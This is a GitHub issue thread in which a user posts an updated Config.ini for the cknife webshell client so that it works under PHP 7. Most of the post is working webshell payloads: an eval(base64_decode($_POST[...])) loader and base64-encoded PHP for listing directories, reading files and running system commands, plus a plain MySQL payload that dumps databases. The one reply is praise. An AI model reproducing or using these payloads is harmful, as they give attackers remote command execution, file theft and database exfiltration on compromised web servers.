Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

debug php 7.0.12 #33

Open
wonderkun opened this issue Jan 15, 2017 · 1 comment
Open

debug php 7.0.12 #33

wonderkun opened this issue Jan 15, 2017 · 1 comment

Comments

@wonderkun
Copy link

php7 不再支持一些函数,导致cknife没法再用,更新了一下 部分Config.ini 文件如下;

PHP_MAKE=@eval(base64_decode($_POST[action]));
PHP_INDEX=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2fQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D
PHP_READDICT=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JEQ9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1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AD=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JEY9Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKT9iYXNlNjRfZGVjb2RlKHN0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pKTpiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGZwPUBmb3BlbigkRiwiciIpO2lmKEBmZ2V0YygkZnApKXtAZmNsb3NlKCRmcCk7QHJlYWRmaWxlKCRGKTt9ZWxzZXtlY2hvKCJFUlJPUjovLyBDYW4gTm90IFJlYWQiKTt9O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItPnwiKTs7JHA9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOyRzPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7QHN5c3RlbSgkci4iIDI%2bJjEiLCRyZXQpO3ByaW50ICgkcmV0IT0wKT8iCnJldD17JHJldH0KIjoiIjs7ZWNobygifDwtIik7ZGllKCk7
PHP_DB_MYSQL=@ini_set ( "display_errors", "0" );@set_time_limit ( 0 );echo ("->|");$m = get_magic_quotes_gpc();$conf = $m ? stripslashes ( $_POST ["z1"] ):$_POST ["z1"];$ar = explode("choraheiheihei", $conf);$dbn = $m ? stripslashes ( $_POST ["z2"] ) : $_POST ["z2"];$sql = base64_decode ( $_POST["z3"]);$T = @mysqli_connect($ar[0],$ar[1],$ar[2]);@mysqli_query ($T,"SET NAMES utf8");if($dbn==""){$sql = "SHOW DATABASES"; $q = @mysqli_query ($T,$sql ); $i = 0;while($rs=@mysqli_fetch_row($q)){ echo(trim($rs[0]).chr(9))."\\t|\\t\\r\\n";}@mysqli_close($T); echo("|<-"); die();}else{  @mysqli_select_db ($T,$dbn); $q = @mysqli_query ( $T,$sql );$fieldinfo=@mysqli_fetch_fields($q);$i=0;foreach( $fieldinfo as $val ){echo($val->name."\\t|\\t");    $i++;}echo ("\\r\\n"); while ( $rs = @mysqli_fetch_row ( $q ) ) {for($c = 0;$c < $i;$c ++) { echo (trim ( $rs [$c] ));echo ("\\t|\\t");} echo ("\\r\\n");} @mysqli_close ( $T ); echo ("|<-");die ();} 
@algtm
Copy link

algtm commented May 12, 2018

膜拜w师傅

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants